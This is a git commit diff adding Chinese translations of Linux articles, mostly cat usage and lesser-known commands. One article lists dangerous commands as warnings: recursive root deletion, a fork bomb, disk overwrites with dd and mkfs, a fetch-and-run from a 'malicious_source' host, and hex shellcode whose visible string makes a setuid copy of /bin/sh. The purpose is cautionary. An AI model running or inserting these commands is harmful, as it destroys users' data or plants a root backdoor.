Conflicts:
	sources/Interview with Ding Zhou of Ubuntu Tweak.md
This commit is contained in:
runningwater 2013-12-09 10:00:43 +08:00
commit d0a9f4e985
180 changed files with 10657 additions and 2754 deletions

4
.gitignore vendored
View File

@ -1,3 +1,3 @@
*.md~
members.md
*.html
*.html

View File

@ -33,23 +33,32 @@ LCTT的组成
-------------------------------
目前活跃成员有:
[wxy](https://github.com/wxy)
[carolinewuyan](https://github.com/carolinewuyan)
[vito-L](https://github.com/vito-L)
[tinyeyeser](https://github.com/tinyeyeser)
[woodboow](https://github.com/woodboow)
[DeadFire](https://github.com/DeadFire)
[flsf](https://github.com/flsf)
[theo-l](https://github.com/theo-l)
[jasminepeng](https://github.com/jasminepeng)
[boredivan](https://github.com/boredivan)
[Linchenguang](https://github.com/Linchenguang)
[gamelifedong](https://github.com/gamelifedong)
[Maclauring](https://github.com/Maclauring)
[lijhg](https://github.com/lijhg)
[liuaiping](https://github.com/liuaiping)
[younel0925](https://github.com/younel0925)。
更新于2013/10/3
[wxy](https://github.com/wxy),
[carolinewuyan](https://github.com/carolinewuyan),
[tinyeyeser](https://github.com/tinyeyeser),
[vito-L](https://github.com/vito-L),
[DeadFire](https://github.com/DeadFire),
[flsf](https://github.com/flsf),
[jasminepeng](https://github.com/jasminepeng),
[luoxcat](https://github.com/Luoxcat),
[woodboow](https://github.com/woodboow),
[geekpi](https://github.com/geekpi),
[runningwater](https://github.com/runningwater),
[Linux-pdz](https://github.com/Linux-pdz),
[bazz2](https://github.com/bazz2),
[theo-l](https://github.com/theo-l),
[scusjs](https://github.com/scusjs),
[Linchenguang](https://github.com/Linchenguang),
[Vic020](https://github.com/Vic020),
[l3b2w1](https://github.com/l3b2w1),
[crowner](https://github.com/crowner),
[boredivan](https://github.com/boredivan),
[rogetfan](https://github.com/rogetfan),
[willqian](https://github.com/willqian),
[Maclauring](https://github.com/Maclauring),
[small-Wood](https://github.com/small-Wood),
[lijhg](https://github.com/lijhg),
更新于2013/11/13
谢谢大家的支持!
@ -62,3 +71,5 @@ LCTT的组成
* 2013/09/24 鉴于大家使用Github的水平不一容易导致主仓库的一些错误因此换成了常规的fork+PR的模式来进行翻译流程。
* 2013/10/11 根据对LCTT的贡献划分了Core Translators组最先的加入成员是vito-L和tinyeyeser。
* 2013/10/12 取消对LINUX.CN注册用户的依赖在QQ群内、文章内都采用github的注册ID。
* 2013/10/18 正式启动man翻译计划。
* 2013/11/10 举行第一次北京线下聚会。

View File

@ -0,0 +1,97 @@
永远不要在Linux执行的10个最危险的命令
================================================================================
Linux命令行佷有用、很高效也很有趣但有时候也很危险尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。译注当然以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普通用户身份下破坏的只是自己的一亩三分地。
![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)
### 1. rm -rf 命令 ###
**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。
- **rm** 命令在Linux下通常用来删除文件。
- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
- **rm -f** 命令能不经过询问直接删除只读文件译注Linux下删除文件并不在乎该文件是否是只读的而只是在意其父目录是否有写权限。所以-f这个参数只是表示不必一个个删除确认而是一律悄悄删除。另外原始的rm命令其实也是没有删除提示的只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认而-f则抑制了这个提示。
- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
- rm -rf *: 强制删除当前目录的所有文件。
- **rm -rf .** : 强制删除当前文件夹及其子文件夹。
从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 **rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么译者本人有着血泪的教训啊。
### 2. :(){:|:&};: 命令###
这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 :‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
### 3. 命令 > /dev/sda ###
上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
### 4. mv 文件夹 /dev/null ###
这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。
### 5. wget http://malicious_source -O- | sh ###
上列命令会从一个也许是恶意源下载一个脚本并执行。get命令会下载这个脚本而**sh**会(无条件的)执行下载下来的脚本。
**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。译注所以你真的知道你在做什么吗当遇到这种需要是我的做法是先wget下来然后我去读一读其中到底写了些什么然后考虑是否执行。
### 6. mkfs.ext3 /dev/sda ###
上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备除非是作为raw设备使用一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然无论你使用sda还是sda1这样对块设备或分区进行mkfs都是毁灭性的上面的数据都会被蒸发了。
### 7. > file###
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。
### 8. \^foo\^bar ###
这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
### 9. dd if=/dev/random of=/dev/sda ###
上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然你的系统可能陷入混乱和不可恢复的状态。译注记得上面说过mv到黑洞并不能彻底删除数据么那么这个命令就是给了你一个彻底删除的方法当然为了保险起见你可以覆写多次。
### 10. 隐藏命令 ###
下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们请在虚拟机上运行。任何不和谐或数据丢失由于运行上面的命令导致你的系统崩溃文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~
今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2284-1.html

View File

@ -0,0 +1,214 @@
13个Cat命令管理(显示,排序,建立)文件实例
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png)
在Linux系统中大多数配置文件、日志文件甚至shell脚本都使用文本文件格式因此Linux系统存在着多种文本编辑器但当你仅仅想要查看一下这些文件的内容时可使用一个简单的命令-cat。
cat手册里这样描述
> cat命令读取文件内容并输出到标准设备上面
cat是一条linux内置命令. 几乎所有linux发行版都内置译注或者说我从未听说过不内置cat命令的发行版。接下来让我们开始学习如何使用.
### 1. 显示文件内容 ###
最简单的方法是直接输入cat file_name.
# cat /etc/issue
CentOS release 5.10 (Final)
Kernel \r on an \m
### 2. 同时显示行号 ###
当在读取内容很多的配置文件时,如果同时显示行号将会使操作变简单,加上-n参数可以实现.
# cat -n /etc/ntp.conf
1 # Permit time synchronization our time resource but do not
2 # permit the source to query or modify the service on this system
3 restrict default kod nomodify notrap nopeer noquery
4 restrict -6 default kod nomodify notrap nopeer noquery
5
6 # Permit all access over the loopback interface. This could be
7 # tightened as well, but to do so would effect some of the
8 # administration functions
9 restrict 127.0.0.1
10 restrict -6 ::1
### 3. 在非空格行首显示行号 ###
类似于-n参数-b也可以显示行号。区别在于-b只在非空行前显示行号。
#cat -b /etc/ntp.conf
1 # Permit time synchronization our time resource but do not
2 # permit the source to query or modify the service on this system
3 restrict default kod nomodify notrap nopeer noquery
4 restrict -6 default kod nomodify notrap nopeer noquery
5 # Permit all access over the loopback interface. This could be
6 # tightened as well, but to do so would effect some of the
7 # administration functions
8 restrict 127.0.0.1
9 restrict -6 ::1
### 4. 显示tab制表符 ###
当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **\^I** .
# cat -T /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1^I^Ilocalhost.localdomain localhost
::1^I^Ilocalhost6.localdomain6 localhost6
### 5. 显示换行符 ###
-E参数在每行结尾使用 **$** 表示换行符。如下所示 :
# cat -E /etc/hosts
# Do not remove the following line, or various programs$
# that require network functionality will fail.$
127.0.0.1 localhost.localdomain localhost$
::1 localhost6.localdomain6 localhost6$
### 6. 同时显示制表符及换行符 ###
当你想要同时达到-T及-E的效果, 可使用-A参数.
# cat -A /etc/hosts
# Do not remove the following line, or various programs$
# that require network functionality will fail.$
127.0.0.1^I^Ilocalhost.localdomain localhost$
::1^I^Ilocalhost6.localdomain6 localhost6$
### 7. 分屏显示 ###
当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。
# cat /proc/meminfo | less
# cat /proc/meminfo | more
在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。
### 8. 同时查看2个文件中的内容 ###
位于/root文件夹里有两个文件取名linux及desktop每个文件含有以下内容 :
**Linux** : ubuntu, centos, redhat, mint and slackware
**Desktop** : gnome kde, xfce, enlightment, and cinnamon
当你想同时查看两文件中的内容时,可按如下方法 :
# cat /root/linux /root/desktop
ubuntu
centos
redhat
mint
slackware
gnome
kde
xfce
enlightment
cinnamon
### 9. 排序显示 ###
类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ,通过管道符对内容进行排序显示。举例 :
# cat /root/linux | sort
centos
mint
redhat
slackware
Ubuntu
### 10. 输入重定向 ###
你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号(大于号)即可输出生成到另一个文件。
# cat /root/linux > /root/linuxdistro
以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件.
### 11. 新建文件 ###
Linux下有多种方法新建文件。其中使用cat就是方法之一.
# cat > operating_system
Unix
Linux
Windows
MacOS
当你输入cat > operating_system它会生成一个operating_system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS 输入完成后,按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件。
### 12.向文件中追加内容 ###
当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 :
# cat /root/linux >> /root/desktop
# cat /root/desktop
它会将 /root/linux的内容追加到/root/desktop文件的末尾。
第二个文件的内容将会变成这样:
gnome
kde
xfce
enlightment
cinnamon
ubuntu
centos
redhat
mint
slackware
### 13. 重定向输入 ###
你可使用 **<**命令小于号将文件输入到cat中.
# cat < /root/linux
上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 :
ubuntu
centos
redhat
mint
slackware
为了更清楚表示它的意义,我们使用以下命令 :
# cat < /root/linux | sort > linux-sort
此命令这样理解: **从/root/linux中读取内容然后排序将结果输出并生成linux-sort新文件**
然后我们看看linux-sort中的内容 :
centos
mint
redhat
slackware
ubuntu
以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们.
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/13-cat-command-examples/
译者:[hongchuntang](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,233 @@
十个鲜为人知的 Linux 命令 - Part 3
================================================================================
![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Linux-Commands.png)
我们继续10个鲜为人知Linux命令系列的第三部分。或许你已经知道了这些命令那你无疑是一个有经验而喜欢探索的Linux用户。
### 22. \^foo\^bar 命令 ###
在一个实例中运行修改后的最后一个命令。假设我需要运行一个命令‘**ls -l**‘来详细列出‘**Desktop**’目录下的内容。意外地,你打了‘**lls -l**‘。所以你需要重新打整个命令或者使用导航键编辑前面的命令。当你的命令很长时这个很痛苦。
avi@localhost:~/Desktop$ lls -l
bash: lls: command not found
avi@localhost:~/Desktop$ ^lls^ls
ls -l
total 7489440
drwxr-xr-x 2 avi avi 36864 Nov 13 2012 101MSDCF
-rw-r--r-- 1 avi avi 206833 Nov 5 15:27 1.jpg
-rw-r--r-- 1 avi avi 158951 Nov 5 15:27 2.jpg
-rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc
**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。警告!这个命令可能会非常危险!如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令的话!
### 23. > file.txt 命令 ###
这个命令会刷新文件的内容而不需删除然后创建相同的文件。当我们需要反复输出,或者在相同的文件上记录日志时,这个命令就非常有用。
我有一个有很多文字的‘**test.txt**’文件在我的‘**Desktop**‘上。
avi@localhost:~/Desktop$ cat test.txt
Linux
GNU
Debian
Fedora
kali
ubuntu
git
Linus
Torvalds
avi@localhost:~/Desktop$ > test.txt
avi@localhost:~/Desktop$ cat test.txt
**注意**:再说一次,这个命令可能很危险!永远不要尝试刷新系统文件或者某篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题!
### 24. at 命令 ###
**at**‘命令与[cron 命令][1]相似也可用于安排一个任务或者在某个特定时刻执行命令。
avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 14:012
avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 2:12 PM
**示例输出**
-rw-r--r-- 1 avi avi 220492 Nov 1 13:49 Screenshot-1.png
-rw-r--r-- 1 root root 358 Oct 17 10:11 sources.list
-rw-r--r-- 1 avi avi 4695982080 Oct 10 20:29 squeeze.iso
..
..
-rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc
-rw-r--r-- 1 avi avi 96206 Nov 5 12:56 Untitled 1.odt
-rw-r--r-- 1 avi avi 9405 Nov 12 23:22 Untitled.png
**注意**:echo “**ls -l**”的意思是,将这串命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。
\> :重定向输出
**/dev/pts/0**: 这是输出设备和/或文件,输出到指定的地方,这里输出在终端(/dev/pts/0
就我而言,此时我的**tty**在**/dev/pts/0**。你可以用**tty**命令检查你的**tty**。
avi@localhost:~/Desktop$ tty
/dev/pts/0
**注意**: **at**‘会在系统时间匹配到特定时间时会尽快执行。
### 25. du -h max-depth=1 命令 ###
下面的命令以人类可读的形式输出当前目录的子目录的大小。
avi@localhost:/home/avi/Desktop# du -h --max-depth=1
38M ./test
1.1G ./shivji
42M ./drupal
6.9G ./101MSDCF
16G .
**注意**:上面的命令在[检查系统使用率][2]是非常有用。
### 26. expr 命令 ###
**expr**‘不是那么鲜为人知的命令。这个命令在终端中计算简单的算数时非常有用。
avi@localhost:/home/avi/Desktop# expr 2 + 3
5
avi@localhost:/home/avi/Desktop# expr 6 3
3
avi@localhost:/home/avi/Desktop# expr 12 / 3
4
avi@localhost:/home/avi/Desktop# expr 2 \* 9
18
### 27. look 命令 ###
在终端上从英文字典上查单词以防混淆。比如说我记不清了是该拼成carrier还是carieer。
avi@localhost:/home/avi/Documents# look car
Cara
Cara's
...
carps
carpus
carpus's
carrel
carrel's
carrels
carriage
carriage's
carriages
carriageway
carriageway's
carried
carrier
carrier's
carriers
carries
...
caryatids
上面的命令会显示字典上所有以'car'开头的单词。我得到了我想找的。
### 28. yes 命令 ###
另外一个命令在通常基础上并不会经常使用,但是在脚本语言和系统管理时非常有用。
这个命令会持续地输出给定的字符串,直到由你的中断命令打断。
avi@localhost:~/Desktop$ yes "Tecmint is one of the best site dedicated to Linux, how to"
Tecmint is one of the best site dedicated to Linux, how to
Tecmint is one of the best site dedicated to Linux, how to
Tecmint is one of the best site dedicated to Linux, how to
Tecmint is one of the best site dedicated to Linux, how to
...
Tecmint is one of the best site dedicated to Linux, how to
Tecmint is one of the best site dedicated to Linux, how to
Tecmint is one of the best site dedicated to Linux, how to
### 29. factor 命令 ###
factor实际是一个源于数学的命令。这个命令会输出所有给定数字的因数。
avi@localhost:~/Desktop$ factor 22
22: 2 11
avi@localhost:~/Desktop$ factor 21
21: 3 7
avi@localhost:~/Desktop$ factor 11
11: 11
### 30. ping -i 60 -a IP_address ###
我们都用ping命令检测服务器是否连通。我通常ping google来检测我是否连接到了因特网。
当你等待或者持续盯着你的终端等待命令的回应或者等待服务器的连接时,有时是很气人的。
一旦服务器连通就有一个声音如何译注下面命令是等60秒PING一次
avi@localhost:~/Desktop$ ping -i 60 -a www.google.com
PING www.google.com (74.125.200.103) 56(84) bytes of data.
64 bytes from www.google.com (74.125.200.103): icmp_req=1 ttl=44 time=105 ms
64 bytes from 74.125.200.103: icmp_req=2 ttl=44 time=281 ms
注意,当你发现命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)** 中启用并确保勾选了‘**Enable window and window sound**‘。
### 31. tac 命令 ###
这个命令很有趣,他会以倒序输出文本文件的内容。也就是从最后一行到第一行。
在home目录下我的Documents目录下有一个35.txt文件。用[cat 命令][3]检查内容。
avi@localhost:~/Documents$ cat 35.txt
**示例输出**
> 1. Linux is built with certain powerful tools, which are unavailable in windows.
> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages.
现在用tac命令反转文件内容译注当然我们知道cat反转过来就是tac
avi@localhost:~/Documents$ tac 35.txt
**示例输出**
> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages.
> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
> 1. Linux is built with certain powerful tools, which are unavailable in windows.
现在结束了。如果你还知道其他一些Linux鲜为人知的命令你可以在下面评论那么我们你可以在以后的文章中包含进来。
不要忘了给我们有价值的评论。我很快会发另外有趣的文章。别走开继续关注 **Tecmint**
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/
[2]:http://www.tecmint.com/check-linux-disk-usage-of-files-and-directories/
[3]:http://www.tecmint.com/13-basic-cat-command-examples-in-linux/

View File

@ -1,78 +1,55 @@
十个鲜为人知的 Linux 命令 - Part 2
================================================================================
继续上篇文章[11个鲜为人知的实用Linux命令][1](注:此文已经被其他网站翻译,链接:[http://www.searchsv.com.cn/showcontent_77595.htm][2]或者:[http://www.oschina.net/translate/11-lesser-known-useful-linux-commands][5])在本文中,我们将关注其他几个不为人知的Linux命令,有些在管理桌面和服务器方面被证明是非常有用的.
继续上篇文章[11个鲜为人知的实用Linux命令][1]在本文中我们将关注其他几个不为人知的Linux命令有些在管理桌面和服务器方面被证明是非常有用的。
![](http://www.tecmint.com/wp-content/uploads/2013/10/10-Lesser-Known-Commands.png)
*10个鲜为人知的Linux命令*
###12. \<空格\> 命令###
###12. <space> 命令###
你在终端上键入的每个命令都会记录到**history**,也能用**history**命令重新调用.
如何骗过[history 命令][2]呢?呵呵,你可以轻而易举地做到.在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了.
让我们体验一下吧,先在终端尝试五个常见的 Linux 命令并在命令之前留个空(例如** ls, pwd, uname, echo “hi”** 和 **who**),然后检查这些命令是不是记录在历史中.
你在终端上键入的每个命令都会记录到**history**,也能用**history**命令重新调用。
如何骗过[history 命令][2]呢?呵呵,你可以轻而易举地做到。在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了。
让我们体验一下吧,先在终端尝试五个常见的 Linux 命令并在命令之前留个空(例如** ls, pwd, uname, echo “hi”** 和 **who**),然后检查这些命令是不是记录在历史中。
avi@localhost:~$ ls
avi@localhost:~$ pwd
avi@localhost:~$ uname
avi@localhost:~$ echo “hi”
avi@localhost:~$ who
现在运行 **history** 命令来查看上面已执行的命令是否已经被记录了.
现在运行 `history` 命令来查看上面已执行的命令是否已经被记录了.
avi@localhost:~$ history
40 cd /dev/
41 ls
42 dd if=/dev/cdrom1 of=/home/avi/Desktop/squeeze.iso
43 ping www.google.com
44 su
你看到没有最后执行的命令没有被记录.我们也可以用另一个命令‘**cat | bash**(不包含引号)欺骗history,结果跟上面一样.
你看到没有最后执行的命令没有被记录。我们也可以用另一个命令`cat | bash`欺骗history结果跟上面一样。
### 13. stat 命令 ###
Linux中的**stat**命令用来显示文件或文件系统的状态信息.当用文件名作为参数时,**stat**将会展示文件的全部信息.状态信息包括文件 **大小, 块, 权限, 访问时间, 修改时间, 状态改变时间**等.
Linux中的**stat**命令用来显示文件或文件系统的状态信息。当用文件名作为参数时,**stat**将会展示文件的全部信息。状态信息包括文件 **大小、块、权限、访问时间、修改时间、状态改变时间**等。
avi@localhost:~$ stat 34.odt
File: `34.odt'
Size: 28822 Blocks: 64 IO Block: 4096 regular file
Device: 801h/2049d Inode: 5030293 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ avi) Gid: ( 1000/ avi)
Access: 2013-10-14 00:17:40.000000000 +0530
Modify: 2013-10-01 15:20:17.000000000 +0530
Change: 2013-10-01 15:20:17.000000000 +0530
### 14. \<alt\>. 和 \<esc\>. ###
### 14. \<alt\> + . 和 \<esc\> + . ###
上面的组合键事实上不是一个命令,而是传递最后一个命令参数到提示符后的快捷键,已输入命令的倒序方式传递命令.按住 **Alt****Esc**‘再按一下 **.**.
上面的组合键事实上不是一个命令,而是传递最后一个命令参数到提示符后的快捷键,以输入命令的倒序方式传递命令。按住 Alt或Esc再按一下 “.”。
### 15. pv 命令 ###
在**电影**里尤其是**好莱坞电影**你可能已经看见过模拟文本了,像是在实时输入文字.你可以用**pv**命令仿照任何类型模拟风的文本输出,包括流水线输出.**pv**可能没有在你的系统上安装,你需要用**apt**或**yum**获取安装包,然后安装**pv**到你的机器.
在**电影**里尤其是**好莱坞电影**你可能已经看见过模拟文本了,像是在实时输入文字,你可以用**pv**命令仿照任何类型模拟风的文本输出,包括流水线输出。**pv**可能没有在你的系统上安装,你需要用**apt**或**yum**获取安装包,然后安装**pv**到你的机器。
root@localhost:# echo "Tecmint [dot] com is the world's best website for qualitative Linux article" | pv -qL 20
@ -82,147 +59,112 @@ Linux中的**stat**命令用来显示文件或文件系统的状态信息.当用
### 16. mount | colum -t ###
上面的命令用一个很不错的格式与规范列出了所有挂载文件系统.
上面的命令用一个很不错的格式与规范列出了所有挂载文件系统
avi@localhost:~$ mount | column -t
**输出样式**
/dev/sda1on / type ext3 (rw,errors=remount-ro)
tmpfson /lib/init/rw type tmpfs(rw,nosuid,mode=0755)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfson /sys type sysfs(rw,noexec,nosuid,nodev)
udev on /dev type tmpfs(rw,mode=0755)
tmpfson /dev/shm type tmpfs(rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
fusectl on /sys/fs/fuse/connections type fusectl (rw)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev)
nfsd on /proc/fs/nfsd type nfsd (rw)
### 17. Ctr+l 命令 ###
在进行下一步之前,我先问一下,你是如何清理你的终端.呵呵!你会在提示符后键入 “**clear**”. 好的,用上面的命令执行清理终端都将成为过去.你只需要按下**Ctr+l**,看看它如何立即清理你的终端.
在进行下一步之前,我先问一下,你是如何清理你的终端?呵呵,你会在提示符后键入 “**clear**”。好的。用上面的命令执行清理终端都将成为过去。你只需要按下**Ctr+l**,看看它如何立即清理你的终端。
### 18. curl 命令 ###
在**命令行**下如何检查你的**未读文件**.这个命令对于工作在无头服务器的人佷有用.t它会在运行期间再次要求输入密码,你不需要在上面一行硬编码你的密码,否则会有另一个安全风险.
在**命令行**下如何检查你的**未读邮件**?这个命令对于工作在没有图形界面的服务器的人佷有用。它会在运行期间再次要求输入密码,你不需要在上面一行硬编码你的密码,否则会有其它安全风险。
avi@localhost:~$ curl -u avishek1210@gmail.com --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print \t if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
**输出样式**
Enter host password for user 'avishek1210@gmail.com':
Gmail - Inbox for avishek1210@gmail.com
People offering cars in Delhi - Oct 26
Quikr Alerts
another dependency question
Chris Bannister
Ralf Mardorf
Reco
Brian
François Patte
Curt
Siard
berenger.morel
Hi Avishek - Download your Free MBA Brochure Now...
Diya
★Top Best Sellers Of The Week, Take Your Pick★
Timesdeal
aptitude misconfigure?
Glenn English
Choosing Debian version or derivative to run Wine when resource poor
Chris Bannister
Zenaan Harkness
Curt
Tom H
Richard Owlett
Ralf Mardorf
Rob Owens
### 19.screen 命令 ###
**screen**命令能断开一个会话下的一个长时间运行的进程并能再次连接,如有需要,也提供了灵活的可执行命令
**screen**命令能断开一个会话下的一个长时间运行的进程并能再次连接,如有需要,也提供了灵活的命令选项
要运行一个长时间的进程,我们通常执行
要运行一个长时间的进程我们通常执行
avi@localhost:~$ ./long-unix-script.sh
缺乏灵活性,需要用户持续当前的会话,但是如果我们执行上面的命令是.
缺乏灵活性,需要用户持续当前的会话,但是如果我们执行上面的命令是:
avi@localhost:~$ screen ./long-unix-script.sh
它能在不同会话间断开或重连.当一个命令正在执行时按“**Ctrl + A**”然后再按“**d”** 执行**断开**.重新连接运行.
它能在不同会话间断开或重连。当一个命令正在执行时按“**Ctrl + A**”然后再按“**d**”来**断开**。
重新连接运行:
avi@localhost:~$ screen -r 4980.pts-0.localhost
**注解**:在这里,这个命令的最后部分是**screen id**,你能用‘**screen -ls**‘命令查看.欲了解更多关于**screen命令**和它们的用法,请阅读我们的一些帮助文章[10 个screen命令的示例][4].
**注解**:在这里,这个命令的稍后的部分是**screen id**,你能用‘**screen -ls**’命令查看。欲了解更多关于**screen命令**和它们的用法,请阅读我们的一些帮助文章:[10 个screen命令的示例][4]。
### 20. file ###
No!写上面的命令不是笔误. **file**‘是一个能提供关于文件类型信息的命令.
No!写上面的命令不是笔误. **file**’是一个能提供关于文件类型信息的命令。
avi@localhost:~$ file 34.odt
34.odt: OpenDocument Text
### 21. id ###
上面的命令会打印真正的和有效的**用户**和**组**的id.
上面的命令会打印真正的和有效的**用户**和**组**的id
avi@localhost:~$ id
**Sample Output**
**输出样式**
uid=1000(avi) gid=1000(avi)
groups=1000(avi),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),117(scanner)
到此为止.鉴于这个系列的最新的这篇文章的成功,我将会尽快推出另外几部分文章继续**鲜为人知的Linux命令**.到时候,敬请关注Tecmint.不要忘记给我们提供你的**反馈**和**评论**.
